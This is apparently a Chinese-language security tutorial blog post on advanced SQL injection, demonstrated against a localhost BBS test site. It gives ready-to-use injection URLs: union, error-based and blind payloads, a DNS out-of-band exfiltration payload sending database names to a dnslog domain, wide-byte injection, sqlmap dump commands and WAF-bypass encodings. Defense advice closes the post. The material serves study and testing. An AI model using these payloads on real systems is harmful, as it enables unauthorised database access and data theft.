SQL注入漏洞进阶篇

📅 2026-01-07 📂 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带

一、SQL注入概述

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而对数据库进行非法操作。

SQL注入的危害包括:

  • 数据泄露:读取数据库中的敏感信息(用户账号、密码、个人信息等)
  • 数据篡改:修改、删除数据库中的数据
  • 权限提升:获取数据库管理员权限
  • 系统控制:通过数据库功能执行操作系统命令

二、SQL注入分类

2.1 联合查询注入(Union Based)

利用 UNION 操作符将攻击者的SQL语句与原始查询合并,从而获取额外数据。

测试环境:

复制代码
http://localhost/bbs/showmessage.php?id=1
http://localhost/bbs/showmessage.php?id=2

判断注入点:

复制代码
http://localhost/bbs/showmessage.php?id=1 and 1=1   -- 正常
http://localhost/bbs/showmessage.php?id=1 and 1=2   -- 异常

判断列数:

复制代码
http://localhost/bbs/showmessage.php?id=1 order by 1   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by 2   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by N   -- 直到报错

联合查询获取数据:

复制代码
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,...
http://localhost/bbs/showmessage.php?id=-1 union select 1,version(),database()
http://localhost/bbs/showmessage.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database()

2.2 报错注入(Error Based)

利用数据库报错信息来获取数据,常用的报错函数包括:

复制代码
-- updatexml报错注入
http://localhost/bbs/showmessage.php?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

-- extractvalue报错注入
http://localhost/bbs/showmessage.php?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))

-- floor报错注入
http://localhost/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.3 布尔盲注(Boolean Based Blind)

当页面不显示查询结果和报错信息,但会根据SQL语句的真假返回不同页面时,使用布尔盲注。

复制代码
-- 判断数据库名长度
http://localhost/bbs/showmessage.php?id=1 and length(database())=5

-- 逐字符猜解数据库名
http://localhost/bbs/showmessage.php?id=1 and substr(database(),1,1)='a'
http://localhost/bbs/showmessage.php?id=1 and ascii(substr(database(),1,1))=97

-- 使用ord函数
http://localhost/bbs/showmessage.php?id=1 and ord(mid(database(),1,1))=97

2.4 时间盲注(Time Based Blind)

当页面没有任何回显和报错时,通过时间延迟来判断SQL语句的真假。

复制代码
-- 基于sleep的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,sleep(5),0)
http://localhost/bbs/showmessage.php?id=1 and if(length(database())=5,sleep(5),0)

-- 基于benchmark的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,benchmark(10000000,sha1('test')),0)

三、DNS外带数据

当无法直接获取数据时,可以通过DNS查询将数据外带到攻击者控制的服务器。

使用dnslog.cn

复制代码
http://dnslog.cn/

DNS外带注入payload:

复制代码
-- MySQL DNS外带
http://localhost/bbs/showmessage.php?id=1 and load_file(concat('\\\\',database(),'.dnslog域名\\abc'))

-- 使用sqlmap的DNS外带
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dns-domain=dnslog域名

四、宽字节注入

当应用程序使用GBK/GB2312等宽字节编码时,可以利用宽字节特性绕过转义。

复制代码
-- 正常情况,单引号被转义
http://localhost/bbs/test.php?id=1\'  -- 被转义为 1\'

-- 宽字节注入,%df与\合并为一个宽字节字符
http://localhost/bbs/test.php?id=1%df\'  -- %df%5c组成一个GBK字符,单引号逃逸

五、sqlmap工具使用

sqlmap 是一款自动化的SQL注入检测与利用工具,官方地址:https://sqlmap.org/

5.1 基本用法

复制代码
# 检测注入点
sqlmap -u "http://localhost/bbs/showmessage.php?id=1"

# 获取数据库
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dbs

# 获取表
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 --tables

# 获取列
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 --columns

# 获取数据
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump

5.2 常用参数

复制代码
-u URL            # 指定目标URL
--data=DATA       # POST数据
--cookie=COOKIE   # 设置Cookie
--level=LEVEL     # 检测级别(1-5)
--risk=RISK       # 风险级别(1-3)
--technique=TECH  # 指定注入技术(B/E/U/S/T/Q)
--tamper=TAMPER   # 使用绕过脚本
--batch           # 不询问,使用默认选项
--random-agent    # 使用随机User-Agent
--proxy=PROXY     # 使用代理
--dns-domain=DOMAIN  # DNS外带域名

5.3 POST注入

复制代码
sqlmap -u "http://localhost/bbs/member/register.php" --data="username=admin&password=123456"

5.4 Cookie注入

复制代码
sqlmap -u "http://localhost/bbs/index.php" --cookie="session=abc123"

六、WAF绕过

6.1 大小写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 UnIoN SeLeCt 1,2,3

6.2 双写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 ununionion selselectect 1,2,3

6.3 编码绕过

复制代码
-- URL编码
http://localhost/bbs/showmessage.php?id=1 %55nion %53elect 1,2,3

-- 十六进制编码
http://localhost/bbs/showmessage.php?id=1 union select 1,hex(database()),3

-- Unicode编码
http://localhost/bbs/showmessage.php?id=1 uni%6fn sel%65ct 1,2,3

6.4 注释绕过

复制代码
-- 内联注释
http://localhost/bbs/showmessage.php?id=1 /*!union*/ /*!select*/ 1,2,3

-- MySQL版本注释
http://localhost/bbs/showmessage.php?id=1 /*!50000union*/ /*!50000select*/ 1,2,3

6.5 空格绕过

复制代码
-- 使用注释替代空格
http://localhost/bbs/showmessage.php?id=1/**/union/**/select/**/1,2,3

-- 使用%09 %0a %0b %0c %0d替代空格
http://localhost/bbs/showmessage.php?id=1%09union%09select%091,2,3

6.6 使用sqlmap的tamper脚本

复制代码
# 查看所有tamper脚本
sqlmap --list-tampers

# 常用tamper脚本
sqlmap -u "URL" --tamper="space2comment"        # 空格转注释
sqlmap -u "URL" --tamper="between"              # 用between替代大于号
sqlmap -u "URL" --tamper="randomcase"           # 随机大小写
sqlmap -u "URL" --tamper="charencode"           # URL编码
sqlmap -u "URL" --tamper="space2comment,between" # 组合使用

七、实战环境

本文使用的测试环境:

  • 目标BBS系统:http://localhost/bbs/
  • 测试页面:
    • http://localhost/bbs/showmessage.php?id=1
    • http://localhost/bbs/showmessage.php?id=2
    • http://localhost/bbs/test.php
    • http://localhost/bbs/member/register.php
    • http://localhost/bbs/member/cgpwd.php
    • http://localhost/bbs/index.php
  • DNS外带工具:http://dnslog.cn/
  • SQL注入工具:sqlmap

八、防御建议

  1. 使用参数化查询(预编译语句),从根本上防止SQL注入
  2. 对用户输入进行严格校验和过滤
  3. 使用ORM框架,减少手写SQL的场景
  4. 最小权限原则,数据库用户只授予必要权限
  5. 部署WAF,作为额外的安全防护层
  6. 关闭数据库报错信息显示,避免信息泄露
  7. 定期进行安全审计和漏洞扫描

© 2026 安全攻防笔记 - 仅供安全研究与学习使用

相关推荐
M158227690551 小时前
跨协议互通利器|SG-PN-EIP (S)-220 Profinet 转 EtherNet/IP 网关,打通欧美 PLC 通讯壁垒
网络·网络协议·tcp/ip
北龙云海2 小时前
案例分享 | 面向公网业务系统境内访问白名单配置实操方案
运维·网络·安全·网络安全·告警·数据泄露·入侵攻击
闲猫3 小时前
Spring AI对接Deepseek 使用Charles代理api.deepseek.com 拦截报文,查看Tool和Skill的本质
网络·网络协议·http
niaiheni5 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
意疏5 小时前
远程办公软件哪个安全性高?UU远程8项安全防线全覆盖
网络·安全
牛马之星5 小时前
气体涡轮流量计如何维护
网络·经验分享
MonolithIoT6 小时前
实战方案|设备备件无人值守仓库:连续化产线运维备件 7×24 小时数字化管控方案
运维·网络·数据库
三8447 小时前
BGP/GRE练习
网络
AAA@峥7 小时前
CentOS7 源码编译安装 MySQL5.7|SQL 基础操作 + 备份恢复完整实战
运维·数据库·sql·centos